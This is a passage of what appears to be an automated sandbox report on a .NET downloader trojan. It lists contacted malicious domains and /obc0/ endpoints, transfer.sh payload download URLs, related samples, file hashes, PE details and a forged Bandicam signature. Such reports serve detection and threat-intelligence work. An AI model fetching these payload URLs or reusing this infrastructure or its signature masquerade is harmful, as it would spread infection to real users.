http://www.bloopacts.live/obc0/?-Zbh98=MMZqO1I08y1GBRfD5BQQX3BCGY/GGPyfy+PmyLieMA7AvKnTbkXoUfvxfVWp1ohOvSFQ0Ck6defUcVisMCvldqUqNSR/syiy4w==&C0=X82hHfExC6QP	0%	Avira URL Cloud	safe
https://cs.deviceatlas-cdn.com	0%	Avira URL Cloud	safe
https://park.101datacenter.net	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.augusta.broker	52.60.87.163	true	true	unknown
suatvthainguyen.buzz	198.252.98.107	true	true	unknown
luregirl.net	167.179.103.237	true	true	unknown
www.bloopacts.live	167.235.29.175	true	true	unknown
www.negerbajs.info	69.57.163.50	true	true	unknown
transfer.sh	144.76.136.153	true	false	high
www.skyepattest.com	217.160.0.167	true	true	unknown
www.luregirl.net	unknown	unknown	true	unknown
www.suatvthainguyen.buzz	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.luregirl.net/obc0/	true	Avira URL Cloud: safe	unknown
http://www.skyepattest.com/obc0/	true	Avira URL Cloud: safe	unknown
http://www.luregirl.net/obc0/?-Zbh98=QEPeK6C4+xU1T+Zv89RyXnFvtkuTgj7CyQVR6lB98YiPEjAwu2VabqstxXG4WeniE5n6fSCr36EXz2ZAkGy4VKLMfvQeNDQPqw==&C0=X82hHfExC6QP	true	Avira URL Cloud: safe	unknown
www.suatvthainguyen.buzz/obc0/	true	Avira URL Cloud: safe	low
http://www.negerbajs.info/obc0/?-Zbh98=V2kSpVpGpqmsc+zV99/vwEPQm6AjbD0sNlmHlMce7g5oKKN3NgpJQJsKfnUSGJnURE4hRqcigFYsP8mgf+TOZi6v6bw37RqyMQ==&C0=X82hHfExC6QP	true	Avira URL Cloud: safe	unknown
http://www.augusta.broker/obc0/?-Zbh98=ymzEQwRFXCPDCi+CRQJb7/Cu/KCeuwmnwGnTOFfe8Wu9oS0w58wfIKm/BUV3lMrC1MN0SKPFf3LORs93kZV7msxn8x5u5Wnabg==&C0=X82hHfExC6QP	true	Avira URL Cloud: safe	unknown
http://www.augusta.broker/obc0/	true	Avira URL Cloud: safe	unknown
http://www.bloopacts.live/obc0/	true	Avira URL Cloud: safe	unknown
http://www.bloopacts.live/obc0/?-Zbh98=MMZqO1I08y1GBRfD5BQQX3BCGY/GGPyfy+PmyLieMA7AvKnTbkXoUfvxfVWp1ohOvSFQ0Ck6defUcVisMCvldqUqNSR/syiy4w==&C0=X82hHfExC6QP	true	Avira URL Cloud: safe	unknown
https://transfer.sh/get/at0HRq/COOL2.txt	false		high
http://www.skyepattest.com/obc0/?-Zbh98=7PSH/Ln00kiEZ+8VHNPsGnjemOaV3QQvmjWzLH8ChjGT6OrVSUax7xbhQJ4P9gQznTCEUU1HjkXGkkJ8y3lbGhe/UOddQQeZUw==&C0=X82hHfExC6QP	true	Avira URL Cloud: safe	unknown
https://transfer.sh/get/NNwCGT/DLL.txt	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	d01F736L.3.dr	false		high
https://www.101domain.com/brand_services.htm?utm_campaign=parked-page&utm_medium=referral&utm_source	wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	d01F736L.3.dr	false		high
https://www.101domain.com/google_workspace.htm?utm_campaign=parked-page&utm_medium=referral&utm_sour	wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	false		high
https://search.yahoo.com?fr=crmas_sfpf	d01F736L.3.dr	false		high
https://cs.deviceatlas-cdn.com/101dacs.js	wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://transfer.shD8	SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314896273.0000000002620000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.101domain.com/domain_monitoring_trademark_enforcement_guide.htm	wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	false		high
http://www.dzyngiri.com	wlanext.exe, 00000003.00000002.573349924.0000000003436000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.skyepattest.com/obc0/?-Zbh98=7PSH/Ln00kiEZ	wlanext.exe, 00000003.00000002.573551014.0000000003A7E000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://justinmezzell.com	wlanext.exe, 00000003.00000002.573349924.0000000003436000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.101domain.com/new_gtld_extensions.htm?utm_campaign=parked-page&utm_medium=referral&utm_s	wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	false		high
https://www.101domain.com/web_hosting.htm?utm_campaign=parked-page&utm_medium=referral&utm_source=au	wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314456233.00000000024F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.101domain.com/gmail_email_aliases.htm	wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	false		high
https://www.101domain.com/domain-registration.htm?utm_campaign=parked-page&utm_medium=referral&utm_s	wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	false		high
https://park.101datacenter.net/css/vendor-1.css?20220908035046	wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.bandicam.com0	SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	false	Avira URL Cloud: safe	unknown
https://www.101domain.com/domain_concierge_service.htm?query=augusta.broker&utm_campaign=parked-page	wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	false		high
https://www.101domain.com/domain-availability-search.htm?utm_campaign=parked-page&utm_medium=referra	wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	false		high
https://search.yahoo.com?fr=main	wlanext.exe, 00000003.00000002.572056583.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://transfer.sh4	SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314742227.0000000002574000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	wlanext.exe, 00000003.00000002.572056583.0000000000858000.00000004.00000020.00020000.00000000.sdmp, d01F736L.3.dr	false		high
https://www.financestrategists.com/founder-spotlight/best-corporate-domain-registrar-independent-101	wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.101domain.com/resource_center.htm	wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	false		high
https://cs.deviceatlas-cdn.com/smartclick	wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	d01F736L.3.dr	false		high
https://transfer.sh	SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314456233.00000000024F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	d01F736L.3.dr	false		high
https://www.101domain.com/external_links.htm	wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	false		high
https://cs.deviceatlas-cdn.com	wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	wlanext.exe, 00000003.00000002.572056583.0000000000858000.00000004.00000020.00020000.00000000.sdmp, d01F736L.3.dr	false		high
https://park.101datacenter.net	wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com?fr=main_sfpf	wlanext.exe, 00000003.00000002.572056583.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	d01F736L.3.dr	false		high
https://search.yahoo.com?fr=crmas_sfp	d01F736L.3.dr	false		high
http://transfer.sh	SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe, 00000000.00000002.314750292.000000000257D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://search.yahoo.com/search	wlanext.exe, 00000003.00000002.572056583.0000000000858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://my.101domain.com?utm_campaign=parked-page&utm_medium=referral&utm_source=augusta.broker&utm_	wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	d01F736L.3.dr	false		high
https://www.101domain.com/country_domain.htm?utm_campaign=parked-page&utm_medium=referral&utm_source	wlanext.exe, 00000003.00000002.573939449.0000000005610000.00000004.00000800.00020000.00000000.sdmp, wlanext.exe, 00000003.00000002.573387569.00000000035C8000.00000004.10000000.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
144.76.136.153	transfer.sh	Germany	24940	HETZNER-ASDE	false
217.160.0.167	www.skyepattest.com	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
69.57.163.50	www.negerbajs.info	United States	25653	FORTRESSITXUS	true
52.60.87.163	www.augusta.broker	United States	16509	AMAZON-02US	true
167.235.29.175	www.bloopacts.live	United States	3525	ALBERTSONSUS	true
167.179.103.237	luregirl.net	United States	20473	AS-CHOOPAUS	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	720157
Start date and time:	2022-10-11 05:54:42 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/2@7/6
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 43.3% (good quality ratio 37.7%) Quality average: 71.8% Quality standard deviation: 33.4%
HCA Information:	Successful, ratio: 100% Number of executed functions: 107 Number of non-executed functions: 156
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, conhost.exe, backgroundTaskHost.exe
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:55:41	API Interceptor	1x Sleep call for process: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
144.76.136.153	PO-AM2207586.xlsx	Get hash	malicious	Browse	transfer.sh/get/Xszsf2/fgc4.exe
	1.exe	Get hash	malicious	Browse	transfer.sh/get/b02fuU/Ikwtsw_Dlwusohh.jpg
	BZfApQSvig.exe	Get hash	malicious	Browse	transfer.sh/get/mv2A8U/Jpacuhx_Ytbwopcz.png
	l5LVNukfQm.exe	Get hash	malicious	Browse	transfer.sh/get/2bMMvr/Ftqhdpj_Dwbqyzci.jpg
	ksuO9C24QH.exe	Get hash	malicious	Browse	transfer.sh/get/qT523D/Wlniornez_Dablvtrq.bmp
	ksuO9C24QH.exe	Get hash	malicious	Browse	transfer.sh/get/qT523D/Wlniornez_Dablvtrq.bmp
	file.exe	Get hash	malicious	Browse	transfer.sh/get/EBgWOR/Jhkgft_Cptucfoi.bmp
	86503807.exe	Get hash	malicious	Browse	transfer.sh/get/Fh5qw1/Yviliqfen.log
	24982297.exe	Get hash	malicious	Browse	transfer.sh/get/7l55ti/Yqheqrnit.png
	67259493.exe	Get hash	malicious	Browse	transfer.sh/get/sP0JXy/12.png
	89085041.exe	Get hash	malicious	Browse	transfer.sh/get/TaUSBQ/Tzdtprkp.log
	11286208.exe	Get hash	malicious	Browse	transfer.sh/get/1KEmBC/Odhxu.jpg
	tXDPyCfwcY.exe	Get hash	malicious	Browse	transfer.sh/get/fvp22f/Aiebe.jpg
	4G5k6vDDlx.exe	Get hash	malicious	Browse	transfer.sh/get/a9xgDe/Gudsp.jpg
	81cofLYh1o.exe	Get hash	malicious	Browse	transfer.sh/get/guc4Cl/Mppvcqd.jpg
	SecuriteInfo.com.Trojan.DownloaderNET.322.17731.exe	Get hash	malicious	Browse	transfer.sh/get/uM4ooB/Xvyspuzxq.png
	Hr0Hgb5CWj.exe	Get hash	malicious	Browse	transfer.sh/get/q9wdd6/Mvuizr.log
	3baQS3WUdx.exe	Get hash	malicious	Browse	transfer.sh/get/IJwL7t/Kkvkby.png
	Jnfgs.exe	Get hash	malicious	Browse	transfer.sh/get/SkEyQd/Jnfgs.png
	Cheat_Setup.exe	Get hash	malicious	Browse	transfer.sh/get/6MBXDe/Srueaakv.png

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
www.bloopacts.live	SecuriteInfo.com.Win32.PWSX-gen.6803.9731.exe	Get hash	malicious	Browse	167.235.29.175
www.bloopacts.live	DOC-04102022-58454857453739.exe	Get hash	malicious	Browse	167.235.29.175
www.negerbajs.info	SecuriteInfo.com.Win32.PWSX-gen.6803.9731.exe	Get hash	malicious	Browse	69.57.163.50
www.negerbajs.info	DOC-04102022-58454857453739.exe	Get hash	malicious	Browse	69.57.163.50
transfer.sh	SecuriteInfo.com.Trojan.DownloaderNET.346.2603.24761.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
	zPy5iNStVs.exe	Get hash	malicious	Browse	144.76.136.153
	fXsvbNiWbA.exe	Get hash	malicious	Browse	144.76.136.153
	WorU0yNg1Q.exe	Get hash	malicious	Browse	144.76.136.153
	TPVmfH41Wp.exe	Get hash	malicious	Browse	144.76.136.153
	P5W2CyiDlC.exe	Get hash	malicious	Browse	144.76.136.153
	mABBo9ckP3.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
	1F5u1OLUIL.exe	Get hash	malicious	Browse	144.76.136.153
	gDi307GEL8.exe	Get hash	malicious	Browse	144.76.136.153
	b3qxSkoyqZ.exe	Get hash	malicious	Browse	144.76.136.153
	seEj6LCl8Q.exe	Get hash	malicious	Browse	144.76.136.153
www.augusta.broker	SecuriteInfo.com.Win32.PWSX-gen.6803.9731.exe	Get hash	malicious	Browse	52.60.87.163
www.augusta.broker	DOC-04102022-58454857453739.exe	Get hash	malicious	Browse	52.60.87.163

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
HETZNER-ASDE	SecuriteInfo.com.Trojan.DownloaderNET.346.2603.24761.exe	Get hash	malicious	Browse	144.76.136.153
	mofcomp.exe	Get hash	malicious	Browse	148.251.234.93
	V06R3i6PE0.exe	Get hash	malicious	Browse	148.251.234.83
	ziprar.exe	Get hash	malicious	Browse	168.119.254.45
	file.exe	Get hash	malicious	Browse	195.201.251.151
	z7a2WI5YjS.exe	Get hash	malicious	Browse	144.76.120.25
	3jT1gxz7rh.exe	Get hash	malicious	Browse	144.76.101.157
	j6peG4zHVu.exe	Get hash	malicious	Browse	176.9.247.226
	5bj2h0ltLf.exe	Get hash	malicious	Browse	148.251.234.83
	iCfznvcw9F.exe	Get hash	malicious	Browse	148.251.234.83
	XRbCp6y2ef.exe	Get hash	malicious	Browse	195.201.56.70
	FsXr78fNrX.exe	Get hash	malicious	Browse	95.217.102.123
	file.exe	Get hash	malicious	Browse	148.251.234.93
	nU6RI2laJn.exe	Get hash	malicious	Browse	138.201.93.56
	uuctgqafmcr.exe	Get hash	malicious	Browse	46.4.13.92
	KqQWwMb78H.exe	Get hash	malicious	Browse	95.217.30.31
	zPy5iNStVs.exe	Get hash	malicious	Browse	144.76.136.153
	fXsvbNiWbA.exe	Get hash	malicious	Browse	144.76.136.153
	WorU0yNg1Q.exe	Get hash	malicious	Browse	144.76.136.153
	TPVmfH41Wp.exe	Get hash	malicious	Browse	144.76.136.153

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	SecuriteInfo.com.Trojan.DownloaderNET.346.2603.24761.exe	Get hash	malicious	Browse	144.76.136.153
	mofcomp.exe	Get hash	malicious	Browse	144.76.136.153
	ScrCons.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
	qN1Mxzbjp4.exe	Get hash	malicious	Browse	144.76.136.153
	Update_0129863793.exe	Get hash	malicious	Browse	144.76.136.153
	BXa7oZsKkN.exe	Get hash	malicious	Browse	144.76.136.153
	SlzaBDG8xr.exe	Get hash	malicious	Browse	144.76.136.153
	ZDcnkBNzYy.exe	Get hash	malicious	Browse	144.76.136.153
	Kko3TsjBcX.exe	Get hash	malicious	Browse	144.76.136.153
	96kH1bcgkR.exe	Get hash	malicious	Browse	144.76.136.153
	IMG#U007e37645467849-49874647894.exe	Get hash	malicious	Browse	144.76.136.153
	z7a2WI5YjS.exe	Get hash	malicious	Browse	144.76.136.153
	W1sjpw8Zgv.exe	Get hash	malicious	Browse	144.76.136.153
	bTEDQ4OX4P.exe	Get hash	malicious	Browse	144.76.136.153
	Halkbank_Ekstre_20221004_08.pdf.exe	Get hash	malicious	Browse	144.76.136.153
	Halkbank_Ekstre_20221008_074245_088458.pdf.exe	Get hash	malicious	Browse	144.76.136.153
	Halkbank_Ekstre_20221004_08.pdf.exe	Get hash	malicious	Browse	144.76.136.153
	hesaphareketi-01.exe	Get hash	malicious	Browse	144.76.136.153
	j6peG4zHVu.exe	Get hash	malicious	Browse	144.76.136.153

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe.log

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.35816127824051
Encrypted:	false
SSDEEP:	24:ML9E4Ks2wKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7a:MxHKXwYHKhQnoPtHoxHhAHKzva
MD5:	31E089E21A2AEB18A2A23D3E61EB2167
SHA1:	E873A8FC023D1C6D767A0C752582E3C9FD67A8B0
SHA-256:	2DCCE5D76F242AF36DB3D670C006468BEEA4C58A6814B2684FE44D45E7A3F836
SHA-512:	A0DB65C3E133856C0A73990AEC30B1B037EA486B44E4A30657DD5775880FB9248D9E1CB533420299D0538882E9A883BA64F30F7263EB0DD62D1C673E7DBA881D
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Temp\d01F736L

Download File

Process:	C:\Windows\SysWOW64\wlanext.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.2880737026424216
Encrypted:	false
SSDEEP:	192:Qo1/8dpUXbSzTPJPQ6YVucbj8Ewn7PrH944:QS/inojVucbj8Ewn7b944
MD5:	5F02C426BCF0D3E3DC81F002F9125663
SHA1:	EA50920666E30250E4BE05194FA7B3F44967BE94
SHA-256:	DF93CD763CFEC79473D0DCF58C77D45C99D246CE347652BF215A97D8D1267EFA
SHA-512:	53EFE8F752484B48C39E1ABFBA05840FF2B968DE2BCAE16287877F69BABE8C54617E76C6953A22789043E27C9CCA9DB4FED5D2C2A512CBDDB5015F4CAB57C198
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.897633302217378
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe
File size:	74592
MD5:	3e26dd2ef6dc0be5838e1eac6b668846
SHA1:	85581b892756aeb1c453f34464b1f40fa92ff91e
SHA256:	221207a0c2f44d04a8c605e5ab6f4585d683daf11671dc6b9fb6a12e3214769a
SHA512:	2190a265de805391211ebd3ee1163bbd5796a5b848dea27b4cfee8f161cf9fa2fa595f5ad60ac797792b74157f41039e9405ee79a271a5a41113c897e50fb578
SSDEEP:	1536:sTey149ULHmpga/eHUTQQQQQQQBdBgN6b5/2kWSC6WLrxtDvas:Ye4tLGpga/eHUTQQQQQQkdBft/2YWLrD
TLSH:	4F737D46C7D10423D96A8A72B0D396C72BB0B20D5DD14AA795CCB01A0ECF38A759BBDD
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...M.Dc.................R...........p... ........@.. .......................@............`................................

File Icon


Icon Hash:	a289a9ed6da39200

Static PE Info

General

Entrypoint:	0x40709e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6344A74D [Mon Oct 10 23:14:21 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert SHA2 Assured ID Code Signing CA, OU=www.digicert.com, O=DigiCert Inc, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	1/22/2021 1:00:00 AM 1/31/2024 12:59:59 AM
Subject Chain	CN=Bandicam Company Corp., O=Bandicam Company Corp., L=Yeongdeungpo-gu, S=Seoul, C=KR
Version:	3
Thumbprint MD5:	87EC13ABB46E9384ACEB84E7BE31DC36
Thumbprint SHA-1:	307EF8A02A0FC9032591C624624FA3531C235AA1
Thumbprint SHA-256:	7512A4A15250B230CDD78826545B01110FC28B13A5681C1B5C3A6B49A5D60982
Serial:	0D261C8470ADBB65800CEAF3EAC70819

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7044	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa000	0x83ce	.rsrc
